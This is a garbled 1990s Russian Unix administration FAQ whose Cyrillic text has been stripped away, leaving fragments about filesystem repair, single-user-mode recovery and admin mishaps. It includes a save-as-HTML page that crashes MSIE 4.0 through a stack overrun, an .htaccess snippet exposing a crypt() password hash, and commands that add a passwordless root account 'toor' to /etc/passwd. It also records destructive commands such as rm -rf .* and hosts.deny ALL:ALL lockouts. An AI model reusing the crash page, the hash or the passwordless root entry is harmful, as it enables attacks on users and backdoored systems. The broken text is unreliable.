e_club >tets > . > ( , ) > - hidden frame. , _ _ : __ , - http://koshelev.ru/cgi-bin/bannerOver 204 No Content - .. _ _ . &dD &d@ , - . &dD &d@ MSIE 4.0. 4.01 can be crashed with a little help of the < EMBED > tag. <EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________> opens a dialog box and closes IE 4.0. the long file extension causes stack overrun. --------cut here and save as crashmsie.html--------------------- Trying to crash IE 4.0 <EMBED SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789> 40 80 160 170 180 190 200 </HTML> --------------------------------------------------------------- &dD &d@ .htaccess order deny,allow deny from all allow from polimos.ras.ru localhost AuthType Basic AuthName lenta.ru AuthUserFile /home/www/passwd # moshkow:1HrhNpfYnwTau crypt() require valid-user &dD. &d@ . HTML http://sundg0.jinr.dubna.su/wguide/ , HTML 2.0 HTML 3 ../WEBMASTER/html20new.txt . &dD &d@ Unix - &dDfsck&d@. , . , . &dD * LINUX * &d@ : . &dD/dev/hd-name&d@ ( /dev/hda2, /dev/hdb3 /dev/sda1...) fs &dDtune2fs&d@ -c max-mount-counts -m reserved-blocks-percentage .. tune2fs -m 1 /dev/hd-name # 50Mb , # # : fsck -y -c -f /dev/hd-name "" bad- fsck -y -c -f /dev/hd-name # -y "yes" # -c bad- readonly inod bad- # -f ( "fs is clean" , -b 8193 -b 16385 ... . sb newfs. ( ?) fs &dDtune2fs -l&d@ &dDdumpe2fs&d@ tune2fs /dev/hd-name dumpe2fs /dev/hd-name __ - &dDmke2fs -S&d@ __ , mke2fs -S /dev/hd-name # Write superblock and group descriptors only fsck -y /dev/hd-name # fsck . &dDdebugfs&d@ man debugfs &dD &d@ , , single-user mode LILO- (Left-alt) single Lilo: &dDlinux single&d@ linux' single-user root. , : Lilo: linux init=/bin/sh ( rescue- unix) Lilo: linux init=/bin/sh root=/dev/fd0H1440 readonly write mount -t ext2 -n -o remount,rw /dev/hd-root / fs, mount -t ext2 -o sb=8193,nocheck /dev/hd-name /mntname ( ): man mount . &dD . Unix, &d@ &dD 1 . /etc/passwd&d@ &dD > ( :), ) root'y > /sbin/sh /bin/ksh > /etc/passwd, , > /sbin/ksh. > : > $ su root -c /sbin/sh > . . > , : ? &d@ . . - ", shell ..." :-) 0. shell - root' - : su root -m -s /bin/sh , - single user mode CD/floppy/tape 1. df, / , , mknod # mkdev, mknode, mksf - # , - /dev/root ( "/" 2. //CD. install/update/system maintance "system maintence" ( shell root') /dev/root /mnt /mnt/etc/passwd &dD No 1&d@ - (!). - mknode . &dD No 2&d@ vi ( terminfo) . . echo "toor::0:0:Yet another Super-User:/:" >> /mnt/etc/passwd ^^^^^^ >> > ( :-) : PATH=$PATH:/mnt/bin:/mnt/usr/bin export PATH TERMINFO=/mnt/usr/lib/terminfo # - , , , . : root passwd Motorola Unix SVR4/88. 1. major/minor / /usr 104 0 /dev/root 104 3 /dev/dsk/m197_c0d0s3 2. , maintance . 3. , / /usr, (.. root ). mkdir /mnt mknod /dev/rootn b 104 0 /etc/fs/ufs/fsck /dev/rootn mount -F ufs /dev/rootn /mnt /usr mknod /dev/usr3 b 104 3 /etc/fs/ufs/fsck /dev/usr3 mount -F ufs /dev/usr3 /mnt/usr 4. /etc/passwd, root echo "toor::0:1:Adm:/:/sbin/sh" >> /mnt/etc/passwd 5. C root' ( /mnt) chroot /mnt /sbin/sh 6. shadow pwconv . &dD 2 . /etc/fstab&d@ Date: 20 Apr 1997 From: Bernshtam Pavel (barnshte@CS.bgu.ac.il) - /etc/fstab reboot - - ( Axil SunOS 4.1) single user. ls - Command not found - - /usr SUN' /sbin - mount, - /sbin/mount /usr. VI! set TERM - VI. fstab - ( - PICO, VI !!!), , save' - root partition READ ONLY !!! stop-A. , , boot- b -rw ( write), mount VI /etc/fstab. ... - VI /var , . /tmp - /var/tmp , VI /tmp . /* Linux - read-write - single-user-mode mount -n -o remount / */ &dD rm -rf SCO&d@ , ".*" ".." rm -r .* ( unix' , ) &dD From: "... SCO- Oracl ..." # cd /usr/tmp # rm -rf * , /usr/tmp/.X11-0 .. # rm -rf .* # ! # du ldd: Can not open file # df ldd: Can not open file # ls -al ldd: Can not open file &d@ . . . . , /usr/tmp/.* /usr/tmp/.. reboot' , /usr . &dD " "&d@ , Unix + TCP/IP - . &dD 1.&d@ IP-, ... - , ifconfig eth0 down . ifconfig eth0 NEW-IP . , _ _ ifconfig eth0 down ; ifconfig eth0 NEW-IP up ; route add ... &dD 2.&d@ security. /etc/hosts.deny ALL:ALL /etc/hosts.allow ALL:193.263.12.13 ^^^ , , - . &dD "" " "&d@ , reset , , , . telnet' - . , - voila! &dD /lib/libc.so - LIB C&d@ Linux. 1993 . LibC. , , - - , - . cd lib mv libc.so libc.so-old mv libc.so-new libc.so ldd: Can not execute, shared library not found Finish. , hd. , , , , . ... Linux. , /sbin - staticaly-linked - libc . &dD 1. Trusted mode - &d@ HP-UX sam' - GUI, - . - - . , "Ok" SAM trusted . , . , root. trusted , - . - single user mode: prompt IPL IPL> hpux -is sam. "untrusted" # mount -a # sam boot - . &dD 2. Security class C2: , SCO&d@ Security class C2 - . . - . SCO , . getty , 6- , getty Login "Intruder attempts, tty line /dev/modem disabled". getty. &dDScreen- Enter&d@ screen-saver , ? , , CTRL. /tmp. - root'. rm -rf /tmp/*, , rm -rf /_ - . , , __ . , ? .